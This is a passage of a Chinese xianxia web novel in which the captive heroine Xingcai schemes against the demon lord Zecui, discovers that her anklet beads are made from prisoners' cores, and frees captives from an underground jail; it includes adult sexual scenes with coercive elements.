荇菜向伺候的侍女打探情况。三生岛上不仅有凡人、修士、妖精混居，更有魔修、邪修，乃至被天生大陆通缉的朝臣重犯。
这里一点都不像魔宫，倒像个犯罪者聚居的海外桃园。
寝殿门口传来宫女的动静。
荇菜看向进屋的泽萃，面对他，一跳脚坐在窗格。她的背后是万丈悬崖，崖风吹拂她如缎如锦的秀美长发，与轻薄的红纱睡裙齐舞，宛若乘风欲去的火红妖姬。
“亲爱的，你去做什么了？”
泽萃看着她的位置，阴俊的面容转眼勾起唇：“昆道宗的防御确实惊人，尤其是金沙出手，更是不凡。”
荇菜惊讶地挑眉：“昆山皇室被金沙护下了？”
“不错。”泽萃坐在殿中的古藤桌前，喝口茶，“过来。”
荇菜缓缓地展开诱人的笑靥，勾手指：“你来……”
泽萃的眼神瞬间转厉，张手一摄，荇菜就飞进他的怀，被他按在臂弯。
他感受着她慌张的心跳，薄如纱衣下的诱人曲线，勾起她微微颤动的下颚，瞧入印满自己的诱人紫眸。
“本主以为你会反抗。”
“呵，你忘记本尊可是合欢妖尊。只有男人见了本尊逃跑，哪有本尊见到男人躲的道理。”荇菜知道他没被紫瞳惑术引诱，但紫眸可以让她的魅力呈倍数增强。
她勾住泽萃的脖子，待亲上去，泽萃已经撇脸侧头，避开送上门的烈火红唇。
荇菜没有难过或难堪，只眯眸轻笑，待泽萃转头，犹是笑言：“你……嫌弃我。”
泽萃不言，抱起荇菜走向床榻。
周身衣衫如雾消散，黑鳞战甲落在衣架。
他赤身将荇菜放在床榻，待去抓她的红衫，荇菜已经旋身如脱兔，勾腿抵足，足尖利甲抵在泽萃的喉口下结。
别小看足甲，得当时亦可杀人。
“我不跟嫌弃我的人睡。”荇菜双肘抵着床，弓起的双肩宛如连绵巫山，薄透的红纱静静地伏在玲珑的身躯，宛若静待男人采撷的诱人荷枝。
泽萃的大掌抚上光滑如玉的足掌，用力往下一按，压在床榻。
荇菜才提起另一只足就被他抓住后一拎。她整个人以常人难以理解的姿态背对他横卧在榻。
荇菜侧头看向覆来的健硕身躯，咬牙道：“魔主若回答我一个问题，我定让你满意。”
“说。”
“你不怕我把你吸食殆尽吗？”
泽萃笑起来，沿着爱不释手的
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肌肤向上游走，探入幽深。
荇菜蹙起眉心，水灵的眸光嗔怨地看向面不改色的男人：太难攻略了。
“嗯……”她转手握住他烫人的手腕，曲起身让他的手进入更深处，人也贴近他的心口，“我不明白……嗯……”
泽萃拿着湿漉漉的手掐在她的下颚，迫使她的眼里全是自己。他这才满意道：“命契皆在，一如夫妻。”
“所以，即使你我睡了，我也无法杀你？”荇菜往后挪，躲开他另一只不安分的手。
泽萃笑嗤着逼近，幽谷宛若芳香的兰花，飘来一阵阵无形的诱惑。
“不错。若本主高兴，可以让你入合体期。化神的魔后镇不住三生岛上的妖魔鬼怪。”
荇菜轻哼，这是要算白天的账了。
她娇声弱气，双足如九曲之河，缠上他鼓胀的手臂。
这个肌体力度已经在隐忍。所以，泽萃还是有弱点。天地同心命契就是他的弱点。
“最后一个问题，天地同欢道为何对你无用？”
泽萃不再忍，一个用力将她推倒在床。
他的唇压去时沉声道：“道无好坏，同欢才欢。无欢，何来同道？”
荇菜轻轻地闭上眼，被他狂躁的动作折腾地再次睁眸瞪去。
这时，荇菜发现泽萃死盯着自己的眼睛，彼此注视才让他紧绷的眸里释放“松”的感觉……他享受被人注视的感觉。
荇菜不知道自己是什么时候睡去，一觉醒来，化神修为稳固不说，还进入化神中期。
这让她更加难受，意味《玉石还阳功》对付不了泽萃，需另想办法。
荇菜带一众侍女绕魔宫走一圈，这地方干净得连鸟都不来，别说有阴暗的角落。
十府城主和孚龙八部的战将除非受召见，不然都在各自的领地居住，只有泽萃下诏，他们才会进殿拜见。
这高崖宛若空中楼阁，是泽萃的闭关洞府，更是荇菜的囚笼。
“本尊要下崖。”
“魔后，魔主下令，魔后需在落日崖静养。”
“静养，养什么？养胎啊！”荇菜漫步逼近守卫，却发现对方封闭五感、不听不见。
她气笑了，撂下一句：“本尊要见魔主。他不来，本尊从落日崖上跳下去。”
片刻后，泽萃亲自来了，扔给荇菜一颗斑斓的圆珠：“放进你的铃铛。”
荇菜气呼呼的模样瞬间转笑，轻声嘟囔：“看你有礼物送我，我就原谅你把我关在这了。”
她把珠子对准阳光，崖风拂来，珠子发出一阵风吟乐声。
“好神奇的珠子，这是什么？本尊事先说明啊，不是什么东西都能进本尊的万音铃。”
“呵，”泽萃轻笑，让荇菜悬浮而起，亲自将风吟珠送入万音铃的空铃铛，“这是音修内丹制成的风吟珠，蕴藏音修的音道。有它就可以引领你的万音铃奏出更惑人的乐声，现在可还觉得它不配进你的万音铃？”
“内……丹？谁的内丹？”荇菜忍住心悸，轻轻地动脚，果然听到一段悦耳的风吟，便是崖风拂过脚踝，都有一阵传入心的乐响。
“你无需管这些。”泽萃一一摸过万音铃的小铃铛，还有不少空置，与暗牢里的人数正好合适。
荇菜调整心态，弯身吻在他的发顶：“确实不错。这份礼物我喜欢。”
泽萃扬眸间握住她的足，往下一拽，握住荇菜的腰肢。
他抱着她，瞧入荇菜的紫火眼眸，绽开笑容。
这个瞬间，他阴沉修俊的容貌多分少有的阳光。
也是这一个瞬间，荇菜突然领悟：泽萃真正在意得是自己的眼里必须看到他的存在。“被看到”就是泽萃的心魔。
泽萃是黄椒的分身，分身没有元神，即使拥有自我也是短暂的。
长月说过，长生把分身的秘密刻进泽萃的法体，这让泽萃很早就知道自己只是某个存在的分身，迟早会从这个世界上消失。
那么，泽萃害怕的事情：消失，不存在这个世界。
若要克服心魔，解决的办法是在意的人眼里必须有自己的存在。
所以，他每次看向荇菜时希望对方的眼里只有自己的存在。与黄椒签订天地同心命契的道侣就是泽萃克服心魔的最好目标。
111. 第 111 章
“看着我！”
“看什么看啊！我不看我不看……”荇菜一拳砸在泽萃的心口，眼泪吧嗒吧啦地滴落，被他紧紧地抱在怀，哭哭唧唧，“我在落日崖上看来看去只有你、四个侍女和两个守卫，无聊死了。你不如杀了我，没有自由，吾宁死。呜呜呜……你让我去玩吧。求求你，亲爱的，我真得快要闷死了，嘤嘤嘤……”
泽萃听她哭得烦，低首吻她，让她的唇再也发不出恼人的哭声。
“呜呜……”荇菜一口咬在他的舌尖，硬是惹恼泽萃。面对他阴沉的容颜，荇菜哇得一声大哭，转身奔向窗口，回首嘤嘤，“你再吓我，我就跳下去了。”
“有本事你就跳。”
“你恐吓我！”荇菜的眼里又是泪又是笑，表情转换得非常不自然。
泽萃瞧她这番耍赖的模样，直接破怒为笑。本是原谅她，转眼间，荇菜做了出人意料的举动。
回首间，荇菜在泽萃的笑容里骄傲地嗔睨，一跃跳出窗外，直坠下崖。
泽萃的心在此时骤然停跳一拍。
一步瞬挪，在落日崖下抱住作死的女人。
他与她在崖风中对视，在她的嬉皮笑脸下，怒火灼眼：“你不想活了？本主可以直接杀掉你。”
荇菜轻哼：“我不信你会杀我。”
“呵，”泽萃一步踏出，重回寝宫，摞下一句，“你若能与本主修炼天地同欢道，本主放你自由。”
“……”荇菜震惊地看向泽萃，“此话当真？不对，数日来，你我不是一直在……在那个嘛。”
泽萃冷哼：“那只是你一厢情愿地采补，而非真正的天地同欢道。”
说完，他径直离去，一走就是好几天没回来。
三日里，荇菜兜来转去思量泽萃离开前的话，恍然明白：天地同欢道，无欢，何来道？自己必须爱上他，才能与他一起修炼此道。然而，事实上自己对泽萃无情，只把他视为《玉石还阳功》的灵泉，哪里来情？
又问四个侍女魔主的去向，人人噤若寒蝉，一点有用的消息都没有。
第四日，荇菜再也忍不住嚷嚷：“告诉魔主，他的意思是让我爱上他吗？谈恋爱哪有把人关在房里谈的？他若再不出现，我可管不住自己的脚下崖去了。”
傍晚时分，道璇玑来寝宫行礼，声音不冷不热，面上眼不见为净。
“魔后，魔主请你下崖。”
这人要是再不来，荇菜都控制不住阵脚，得想极端手段应对。
她长出口气，随道璇玑下崖，问道：“本尊来三生岛十多日，怎么只看到你，没看到你师兄？”
道璇玑怔忡着，想起在地牢受苦的师兄，回瞪：“魔后管好自己吧。”
荇菜继续打探：“听说泽萃一直在寻找道祖分身，你师兄可是……”
道璇玑倏然回头，狠狠地盯向荇菜：“落日崖下的地宫里关押七十八位分身。哦，现在已经剩下六十位。魔后这么问是想做什么？救人？泥菩萨过江自身难保。”
荇菜控制不住颤动面部：十八位，十八枚铃铛珠……
她低头看向脚踝的万音铃，自入三生岛以来已经过十八天，每日会收到泽萃送的珠子：风吟珠、水灵珠、化雨珠、土遁珠……各种名堂、功用的珠子，让万音铃的品级上升数个档次，直达仙品级别的法宝。不仅可以迷惑敌人、增强幸运、清神静心，还多出乐音、风系增速，盾系防御……
原来，这些珠子全是分身的内丹、元婴，经锻器之术打磨而成。她缩了下足，万音铃不是法器，而是黄椒分身的葬铃。
“怕了？”道璇玑冷声讥嘲，“说不定有一天你就会为他们陪葬！”
荇菜拳紧手，指甲入掌心。她重整面色，努力不让道璇玑的目的得逞：“说不定哪一天，你的师兄也会成为一颗珠子。到时，不知道你敢不敢给他收尸呢。”
“你……”道璇玑鼓足怒气发作，却发现蛟车已经飞离三生岛，目的地已经目所能及，又强行按捺下去。
荇菜勾起唇角，噙抹笑：“所以啊，你师兄现在挺危险，不知道爱他至深的师妹有什么妙计救他呢？”
“闭嘴。”道璇玑控制着脾气，“魔主只是惩罚师兄，警告他不要痴心妄想，也就关他一时半会。”
“哦……呵，原来你至今不动手还是对我家亲爱的抱有希望啊。嗯……你真信自己这话啊？”
道璇玑一言不发，面色难看至极。
荇菜已经了解到道生花现在的处境，又慢悠悠道：“我信呢。泽萃肯定不是嗜杀者。但是吧，强者为力量，对谁都下的去手。”她给道璇玑一个笑脸，关上马车的窗格。
道璇玑冷冷地注视车窗，倔强的眼睛里流转委屈、不甘，以及某种决心。
五条黑色蛟龙拉车，飞出三生岛，落在一处小岛。
蛟龙车离去。荇菜环顾眼前的岛心湖，湖里全是娇嫩的水性杨花，嫩得能掐出水。
道生花也有一座桃花岛。所以，道生花得一些爱好来自于泽萃吗？
沿湖心的廊桥一步步走向中心垂帘的廊庭，孤身而立的男人正在自斟自饮。
若不是适才听到的消息，两耳一闭、岁月静好，此情此景也真的赏心悦目。
“亲爱的，这是你给我的惊喜吗？”荇菜宛若欢快的蝴蝶飞奔过去，扑进泽萃的怀抱。
泽萃站在夕阳下，镀了一层橘色光晕。没了以往的阴戾，更像一位暖人的五好先生。
“你说在崖上待着闷，这处地方如何？”
荇菜在他的怀里环顾小岛，外围一圈参差岩石，中心一片湖，湖面仿佛铺一张黄绿交织的绒毯，新鲜又鲜嫩。
她打趣道：“你把岛挖空，灌入淡水，为种这些水性杨花？”
“杨花？这些是荇花。”泽萃扬手要发信问下属，被荇菜一把抓住手掌。
荇菜的手掌压在他的大掌上，五指相比，长长短短，硬实与柔软，很是分明。
“我记得刚来那会想要亲昵，你却躲开我。一下子看到这满岛的小黄花，我还以为你又……嫌弃我。”
泽萃细品那四字，轻嗤勾唇，与荇菜十指交握：“从今往后，你的心里、身体只有本尊，过往不究。本尊也不会再让他们近你的身。”
荇菜垫脚去勾他的脖子，吻在他的下颚：“我想入合体期。”
泽萃顺势揽在她的腰身，贴近自己：“你有道意，不入道境。即使功法逆天，也突破不了天道设下的桎梏。”
荇菜挣了下，脱出身：“究竟什么是道境？我想回去问师父。”
“师父领进门，修行在个人。道境只能悟。”
荇菜不依，摇着他的手臂，正待无理取闹。西方传来一声炸响，半边天色变了样，宛若酝酿巨大的风暴。
“那是……三生岛的方向，发现什么事？”
“无妨。”泽萃旋手凝诀，一道光幕笼罩岛心湖，“本尊去会会老朋友，你安心待在这。晚间，我们在这里……共度良宵。”
“你……”荇菜看他消失，蹙眉注视远方。
她高飞而起，被护岛结界压制着落在廊庭，“这个泽萃，表面恩恩爱爱，实则一点都没有放松。”
“小荇……”金猴姐在结界外叫嚷。
“金老板？”荇菜急奔到结界边，一把拉住金猴姐伸来的手，把她拽入结界内，“进来了?”
两人面面相觑。金猴姐诧异地松开荇菜的手，再次穿过结界：“哦……我忘记说了……”
荇菜一头扎去，直接被结界反推回廊桥，根本出不去。
她又气又急又震惊：“你怎么会来？你来了，那边难道是……”
金猴姐点头，再次走进结界，奔到荇菜的身旁。
她见人没有受伤，大松口气：“确实是他。我忘记说，结界、禁阵对我一点用都没有的。世上有谁会阻拦一块石头、一阵风的进出？”
荇菜被无语住了。她松了肩头，拉上金猴姐的手：“既然密勒尊者来了，我们应该趁他拖住泽萃，尽快赶往三生岛的地宫。黄椒的分身全在那。”
金猴姐眨眼，摇头道：“不行。三生岛被孚龙战将守得水泄不通。若非密勒尊者看到你今日从日落崖
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下来，使这声东击西的对策，我恐怕都见不到你。”
荇菜叹气：“轻敌了。该死的泽萃，嘴上、举止和我如同夫妻，实则一直防备我。以我和泽萃的修为差距，我根本杀不了他。”
金猴姐点头：“密勒尊者说杀泽萃的办法他会亲自告诉你。我是来告诉你千万不要轻举妄动。若一会他过来，你要配合他。”
“他要亲自过来？”
金猴姐：“嗯。小荇，你待在这里就已经给无数人一方庇护所了。”
荇菜蹙眉不解，思量中恍然道：“三生道的人不敢动合欢宗？”
“是啊。羽化生组织反道联盟，天净宗、合欢宗、昆道宗、青虞宗一起阻拦三生道的罗刹进攻各国。
但是，三生道来势凶猛，各地建坛让百姓民不安稳。反道联盟把百姓聚集到欧丝国。因为你是魔后，无人敢动合欢宗保下的人。”
金猴姐说完取出一封金铃信递给荇菜，“小荇，这是他让我转交给你。说你看了就能明白。”
荇菜取过天龙道标志的金铃信，察觉到羽化生留下的气息，了然道：“我就知道是他。”她摄取信上的信息，直接流入识海。
羽化生的虚影在识海内行礼，急切道：“尊后，请你一定要想办法阻止三生道继续围攻大陆各国。若让三生道再这样下去，连合欢宗都护不下诸人。”
荇菜虚影读取羽化生留下的讯息，脑子也想着对策。
可是，她根本没办法对付泽萃，无往不利的《玉石还阳功》对上拥有天地同心命契的泽萃，一点办法都没有。
羽化生：“金沙尊者被困在昆山国安都，若你以自己为饵，诱他们自相残杀，那就再好不过。”
荇菜愣了下，虽说自己也有此想法：两桃杀三士。但是，实际操作起来困难重重。
羽化生：“请尊后务必为天下人着想，为师尊……”
荇菜没再读取后面的话，对于黄椒，她无愧于心。
金猴姐拉扯荇菜的衣袖：“怎么样，小荇？他在信里说什么？若是危险，你可千万别上当啊。这些个修士一个个不自己拼命，尽想些馊主意。他们还让青虞九阳做卧底上门，真是服了他们。”
荇菜惊讶道：“九阳剑尊同意了？”
金猴姐点头，在荇菜出口反对前又道：“你师尊半月阻止了他。”
荇菜：“幸好师尊看得清局势。如今的时局就是这样，不怪他们乱了方寸。只是，羽化生注定要失望，我根本杀不了泽萃。我连天地同欢的道境都参不透。我真是太没用了！”
金猴姐一把抱住荇菜，安慰道：“小荇，我们都知道你上婚车的用意。没人怪你，你也别太大压力。若实在不行，就想办法离开这。密勒尊者镇守高欧地区，大不了我们躲去高欧国。”
荇菜摇头：“青衍镇的人还在等我。我不能放弃。”
高欧？密勒就会放过自己吗？呵！
金猴姐忍不住也轻叹口气：“半月尊者说你应该已经知道自己行不行了。若是你知道此事难于登天，却执意去做，让我转告你：天地同欢道必须心中有爱。若你无爱于世间，世间道又怎么会回应你？”转述完，金猴姐自己就重重地点头，“半月尊者说得有道理哎。你爱万物，万物才能感应到你的存在，与你同欢。”
荇菜愣了下，思量道：爱世间？
我无法真正地敞开心扉，告诉你们自己的来处，又怎么可能爱上这里的人和物。即使真心如黑羽和花涟，在历经世事过后，内心余下得仅是一份感动和为人被爱的责任。
金猴姐：“小荇，你……”
荇菜重新振作起来：“你说得对。为今之计，我只能像绞杀榕一样慢慢地蚕食泽萃，寄覆其身、断其性命。”
她望向云散日出的火烧云天边，蹙眉道，“我感应到他快回来了，你快走。”
金猴姐颔首，又抱住荇菜：“小荇，你要保重，我等你回来。”转身跨出结界，跳入大海，消失无踪。
荇菜恍然：金猴姐的特殊体质让她进出结界不会惊动泽萃，所以由她前来传信最为合适。
112. 第 112 章
金猴姐走后，荇菜转身就看到站在廊庭里的两人。
她默默地走上前，看向黑帽兜、白卷须的高瘦男人，与他金色瞳环碧翠色泽的眼睛相较，感受到一股浓浓的侵略意图。
不由靠向一旁静观的泽萃：“亲爱的，这位是？”
密勒感应体内三分之一的金色契约，银白的卷发让他无情的眼睛生出几分柔软。他看着荇菜靠近泽萃，笔锋刻画般的薄唇漾出一抹冷笑。
“我助你杀掉金沙。而她，必须跟我走。”
泽萃的眼眸注视对方，神情一如从前的阴鸷。
“可以。”
荇菜从两人的交谈里明白这是一场交易，瞬间愠怒，捶向泽萃。
泽萃选择背身走开，不再面对她，将空间留给两人。
荇菜震惊地看向走来的密勒，眯眸道：“你们竟然拿我做交易？”
这就是所谓的配合，不作妖？
密勒以灵威控制荇菜的举动，比雪还白的指尖勾起她的下颚，细细地抚摸柔嫩如玉的脸颊：“确实……如他所说：妙不可言。”
倾身贴近荇菜的耳边，无声开合唇齿，“听说你的惑术很厉害，怎么不知道迷惑自己去爱上他？若要夺他人性命，怎能不让自己先入局？”
荇菜的眼神瞬间清明，凝眸回视：我早已入局。
密勒噙笑摇头，白色的卷须缀在眉尾，让他的神情更添分嘲讽。
荇菜好像明白他的意思，看着密勒转身走向泽萃，思量他的话：入局爱上泽萃？不可能！
密勒幽幽道：“约定已成，本尊需回高欧做些准备，三日后昆山顶，言诺必践。”回眸看眼荇菜后飞身离去。
荇菜坐在廊庭的长凳，被走来的泽萃环在肩头。
“当年，你们就是这样杀了黄椒？”
泽萃的神情有瞬狰狞，又倏然正常。毕竟，这个女人现在就在怀里，证明当初的几经谋划已经取得胜利。
“对付金沙，可容易太多了。”
荇菜挣了下，没脱身，气呼呼道：“但是，这次你们拿我做交易，”上一次也利用我。
她想起这茬，恨得想磨碎后牙槽。
“金沙死后，密勒也活不久。”泽萃以这句话权当解释，“不必较真，不过是权宜之计。”
他强硬地揽过荇菜，狠狠地吻在她的脸颊，密勒抚摸过的肌肤，不容置疑道：“你只能是我的道侣，”证明我活在这个世间，拥有完整的人生。
荇菜推去，被他强硬地控制而动弹不了。
她换了策略，改为依顺、迎合他，主动承受宛如风暴般的接触。
泽萃感受到她顺从的颤栗，宛如潺潺微漾的湖水。这就是这个女人的魅力，如他所言：妙不可言。
他开始顺从她的感觉，沿天鹅般的细嫩长颈精雕细琢地吻去，把人缓缓地压弯在长凳。
黄昏的斜阳覆在荇菜的眼睛，让她忍不住眯起眸，别开脸。但是，她知道泽萃一定会让自己注视他，即使违心也必须看着他。
荇菜提前扭身一转，让两人翻入湖。
没有传来被水没顶的感觉。
两人滚在满池嫩黄的花叶上，离水还有指节距离。烧云晚暮，赤呈相对。
“放开我！”荇菜被花叶的凉意激醒过神，哭啼啼地捶他，却被重重地按回花叶，泪眼婆娑得轻声抽噎，“你怎么能拿我做交易？”
泽萃没有怜香惜玉，只重重地顶下，硬是让哭声变成嗔吟怨语。
荇菜发现此计不行，反客为主，主动缠上他的身。
“吾……嘻……干……泥……”
“呵，如你所愿。”泽萃翻身，让她上位，由她施展那特别的功法。
天地间，灵力如风如缕随行，游走在两人的周围。《还阳功》的生津之力激发彼此丹府的灵力进行环流，于双方都起促进作用。
泽萃被咬得重时，望入荇菜发空的眼神，猛地一转，迫使她只能看见自己。紫眸瞳孔里必须映出自己为她驰骋而生的倒影。
荇菜稍稍用力，身形惑术、紫瞳全上，却依旧不能让泽萃失神片刻。
她很是气馁，转头看向廊庭，这……已经滚到湖心，碾碎一片黄花嫩叶……这个男人他没有心。
躬腿时踢去一脚，却被握住双足，凹过肩头。
湖水的凉意透过花叶传递到肌肤，让人忍不住心凉。
荇菜不记得是怎么回到落日崖寝宫，只感觉身体要废，且饱胀的感觉一直不曾消失。
不止身体，甚至丹田都一直在流转。
她能感觉到自身的灵力足以冲击合体期，却无法真正进入合体期。
《玉石还阳功》终于出现瓶颈。这大概源于她已经是天道之子，而天道之子必受磨难而成。
三日里不间断地修炼，让两人都有些“身难自禁”
泽萃吃饱餍足，一跃下地，穿戴龙鳞战甲，神清气爽地准备去应约。
荇菜赤足下地，淋漓间拦下他：“你去做什么？”
“应约。”泽萃毫不隐瞒自己的行动，目光一寸寸扫过她的法体。
覆甲的手指带着凉意拨弄那惹眼处，耳听轻吟声，他带着满满的成就启笑，“乖，回去休息。本主答应你，今日过后，天下任由你来去。”
荇菜顺着他的甲指，楚楚地仰望他，试图在内心催眠自己：这是我的英雄……狗熊！
“天下人呢，你会把他们都杀掉吗？”
“本主自命为魔主，只为区分同他的身份。他能做到的事，本主能做得比他更好。”泽萃肃容利眸，面对荇菜眼瞳里倒映的自己，缓缓地释放柔意，顺着光滑曲线揽在她的腰肢，用力下贴近黑鳞战甲。
荇菜闷哼了声，粗糙的战甲让她非常不舒服。
“待在岛上，等我回来。”泽萃朝殿外的侍女道，“魔宫上下，魔后可自由来去，不可拦她。”
“喏。”殿外的侍女们躬身行礼。
荇菜看着泽萃飞离落日崖，无声地嗤嘲：整整三日换来这点自由，真是讽刺。
即使脱离分身的身份，依旧活在阴影里的人，泽萃。你的弱点还是被我找到了呢。
害怕消失，在我这里寻找存在感，试图做得比黄椒更好。无论哪一样，你都活在黄椒的阴影下，而你最大的心魔
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就是黄椒，就是……你自己。
若泽萃想比黄椒更像“道祖天尊”。天下百姓或可无恙，但八大宗门必被血洗。
寝宫的窗外，隆隆黑云奔赴远方的天生大陆。荇菜收拾后转身下崖，往落日崖下的地宫行去。
一路紫眸惑术畅通无阻，看守不是睡就是发痴。
荇菜直奔关押黄椒分身的牢笼。
牢内不仅有普通凡人、低阶修士、合体期大能，甚至有妖族、三首国的英俊矮人……而这些人全被戴上封灵环。
这些人听到动静纷纷起身，一个个争先恐后地看向摘下黑帽兜的荇菜。
不少人咽了口水，有人发现女人对自己不同寻常的吸引力，赶紧背过身不去看她。
有人站出来道：“你……就是那个女人？”
荇菜凝眉，没有回答他，只道：“我带你们离开。”扬手一挥，将这些人全部收进蜃珠洞境，交给长恨去解释。
“道生花怎么不在这些人里面？”
荇菜转去牢外，提起一名守卫：“你们曾经的左护法、萃明城主道生花呢？”
守卫：“两日前，右护法道璇玑假传命令，前来带走左护法，被孚蛟大人拦下。现在，左护法在在……”
“在我这，我亲爱的魔后陛下。”孚蛟立在过道，肩头抗一杆漆黑配红痕的三叉戟。
荇菜松开守卫，面对他：“本尊要见他，带本尊过去。”
孚蛟闻言微微垂头，视为行礼。
“魔主吩咐过：魔后陛下可以带走地宫任何人，唯独左护法不行。”
荇菜忍不住笑了，看来自己的行动完全在泽萃的预料当中啊。
“为何道生花不可以？”
孚蛟：“因为他肖想得和别人不同。孚蛟劝魔后陛下三思。魔后放走他们又如何，天下都将是魔主的天下，这些人能逃到哪去？”
荇菜顿觉心浮气躁，一步步地逼近此人。盛气凌人的紫眸藏火，死死地盯视对方。
孚蛟眨眼，垂眸后让开道。待荇菜穿过去，他才记起刚才的举动，忍不住又轻浮地笑：“不愧是魔后啊，合欢宗出身，好厉害的惑术。”
荇菜停步转身，面对对方的挑衅，来而不往非礼也，含笑回走两步。
孚蛟挑眉，主动上前两步：天下最美的女人会对自己做什么呢？真是期待啊。
荇菜出掌与孚蛟抬手抵挡的手掌交错。这下子证明对方的实力确实不俗。
孚蛟转手去抓握她的手，迎来一把合欢散：“魔后你……”
“本尊瞧你闲得很，送你点事做。”荇菜冷眼看他压制合欢散的效用，取出当年与花涟结侣时合欢宗众人送的贺礼，一根捣药玉杵，“知道这是干什么用吗？”
孚蛟愣怔，眨眼道：“你竟然拿……它威胁我？”
“从前本尊看过几本特别的文，不知道拿它能否激发你身后的敏处，缓解你的合欢散呢？”
“……”孚蛟一下子并拢双腿，往后缩了下，又忍不住抚摸脖子、腰肢，试图让自己凉下来。
“魔后，你先惹我。我追随魔主三百年，功勋足以换你一夜。”
113. 第 113 章
荇菜冷笑着看孚蛟扑来。紫眸惑人、蜃珠设幻，与孚蛟错身而过时，她将药杵虚浮半空。
此时的孚蛟眼中，药杵已是一名美艳到不可方物的美人。他迫不及待地拔下甲身衣袍，抱着玉杵左右揉按。
荇菜冷眼看他的举动，暗道：不是自己的紫眸惑术退步，而是泽萃的修为太高，内心过于坚定。
她以灵力勾住药杵，不让孚蛟得逞，幽声相问：“道生花在哪里？”
“走廊尽头的暗门后。”孚蛟答完，如愿以偿地抱住药杵亲昵。
荇菜纵身疾驰，快速到达走廊的尽头。
她翻看如镜面般的墙面，敲敲打打，寻找机关，最终以蛮力打去，激发镜墙上的纹路。
“阵法？诛神卦阵啊，难怪感应不到主仆契约之力，原来是皎月的阵法隔绝感应。幸好欧阳燕歌演化过此阵，说明破解之法。可是，区区道生花，泽萃为什么用诛神卦阵锁他？”
破开诛神卦阵后墙面露出一道门。荇菜震开门锁，看到那个被吊挂的花孔雀。
曾经不可一世、喜欢做弄人取乐的道生花今日沦为阶下囚，白衣血痕，被折磨得不轻。
道生花露出笑靥，轻轻凄凄地看向荇菜：“我就知道你会来救我。”
“你怕是想多了。我是来取你体内的阵法。”荇菜化出两道灵力，斩断道生花的禁锢环。
道生花跌坐在地，揉捏手腕：“你可知道璇玑怎么样？”
“花孔雀终于有心了？”荇菜还是第一次听他关心道璇玑这位师妹。
道生花睨眼荇菜，撇脸道：“论这个世界上最没心的人不是你吗？兜兜转转，多少人为你死去，你可曾真正留念过谁？”
荇菜不与他斗嘴皮子：“外面的人说，道璇玑为救你同孚蛟打了一架，本被人架着去见泽萃，但魔主没空理会她。道璇玑脱了身，现在应该随魔主前往昆山。”
“昆山？”道生花喃喃道，“泽萃要杀金沙？这是两败俱伤。”
荇菜蹲在他面前，轻笑道：“你不会以为自己有机会上位吧？”
道生花撑着膝盖，贴向荇菜的脸，发现对方有所防备地后撤，了然笑道：“你可真是比妖女还要妖，简直是魔女。泽萃做我师尊数百年，不说熟悉也知他性情。为杀黄椒，他可忍辱千年。若无把握，他不会轻易出山。你一定用了什么办法。”
自然是让金猴姐引密勒尊者出山。
不过是驱虎逐狼之策，迟早会被密勒反噬。所以，最好是他们三败俱伤，尽数死去。
荇菜懒得再跟他墨迹：“这地方关你真是大材小用。你走不走？不走就继续待在这吧。”
“这里是为金沙、密勒准备的地方。”
道生花对上她不耐烦的神情，惨白的脸上露出难过、难堪，依旧坐在原地，说出他早就想说的话：“他本想用你引金沙、密勒上门，在此诛杀他们。如今，你的身上全是他的味道，定是令他改变主意。呵，我要唤你一声师娘吗？”
荇菜顿住脚，回身给满面嘲讽的道生花一巴掌。
“啪”得一声，好不响亮。
道生花痛快地笑了：“呵呵呵呵……哈哈哈……”
“疯子。”荇菜敛起脾气，冷声道，“从初次见你，你就不知道好好说话。糟了这么多难，竟然还学不乖。”
道生花舔在口内齿，轻嘲道：“你来此整整二十一日吧。前十八日，整整十八日，他当众吞噬他们的神识、修为……他说，他要把金丹、元婴制作成珠子，送给你挂在脚上。因为你喜欢收集道祖分身的物品作为战利品，对吗？”
荇菜僵硬地看向他，一时答不上话。
“你和他有区别吗？道生圣莲，真是个笑话。你和他当真是天生一对。”
道生花逞了嘴上的痛快，绕过荇菜走出牢房。
荇菜目视他离去，面对空无一人的牢房，幽幽道：“我和他确实没有区别。所以，我也不会轻易放过你们。”
过道上，孚蛟已经惨不忍睹，药杵还真成了杵。
道生花摄过一旁的三叉戟，转手戳进赤身的孚蛟丹田，让他呈尸当下。
他丢下三叉戟，轻嗤了声：“污人耳目。”转向身后的荇菜，幽幽笑道，“如果这次结果不如你意，你打算怎么做？”
荇菜旋手取出蜃珠，御使给道生花：“你带他们离开。长恨在里面，他知道怎么做，不会再为难你。”
“走？”道生花神情复杂地看向晶莹剔透的蜃珠，里面映出一座庞然雪山，“你把保命的东西给我？”神情好看、正经了些，“我们又能去哪里？若他活着回来……”
荇菜：“回来就回来。我自会拖住他。但是，作为奴仆，我命令你为我做一件事。此事过后，你我两清。即使主仆契约存在，我也不会再召你。”
道生花的神情越发复杂：“什么事？”
荇菜走近他，在他惊讶的目光下，耳语道：“前往青衍镇等着我。长恨钟旦响，你需对我说：红尘若洪，滔滔不绝去何方？心澄若镜，自有蓝星是归途。”
道生花愣住，没细读两句话的含义，趁荇菜撤头时快速地亲在她的脸颊，一吻即离。
“契约已成，你去哪里都甩不掉我。”
荇菜看着他得意洋洋的眼睛，抽着眉心，吐出一字：“滚。”
道生花掂下手里的蜃珠，一口吞入肚。
“妖女，别死在这。”
荇菜目送他离开，以道生花的本事和对三生道的熟悉，离开这里不是难事。
她转身前往荇花小岛，登岛刹那，岛外四方出现四位魑魅弟子，各自镇守一面。
所谓自由，不过方寸。泽萃不死，永无自由！
荇菜意识到这些，默默地盘坐在廊庭，沉心阖目，自省《玉石还阳功》四术：“惑、驭、心、神。”四术可以拟旁人容貌、神情、心态，也可以让施术者真正变成另外一个人。
荇菜在脑海里琢磨如何让自己沉下心去爱，与这个世间共情同欢。
识海里，天地同心魂契裂成三份，对应三片不同的元神。
荇菜看着它们，喃喃自语：黄椒一定没有死。他究竟想要做什么？诛神卦阵不可能拦得住他。他可以在阵内杀皎月，自然可以杀泽萃、密勒等人。
若说镇压泽萃的魔性，更是无稽之谈。
镜花岛旁边的落叶岛上每天出现那么多片情绪叶子，黑叶子更是不少。
论魔性，黄椒自己就是这个世间最大的魔。
日月轮转，荇菜不知道泽萃、金沙、密勒的战斗如何。但凡泽萃回来，荇菜就做好催眠自己去爱他的准备。
但是，在此前，她必须破解裂魂破境阵法的秘密。
随时间流逝，荇菜越来越急，整个荇花岛浮动一层不安的气氛。
“黄椒，你说啊，你究竟想做什么？我究竟该怎么做才能让你复活……”
不，我根本没打算复活你。
花涟说过，我可以成为下一个道祖天尊。
吞噬泽萃、密勒、金沙的修为，我就可以达到黄椒这种程度，破碎虚空，飞升离去。
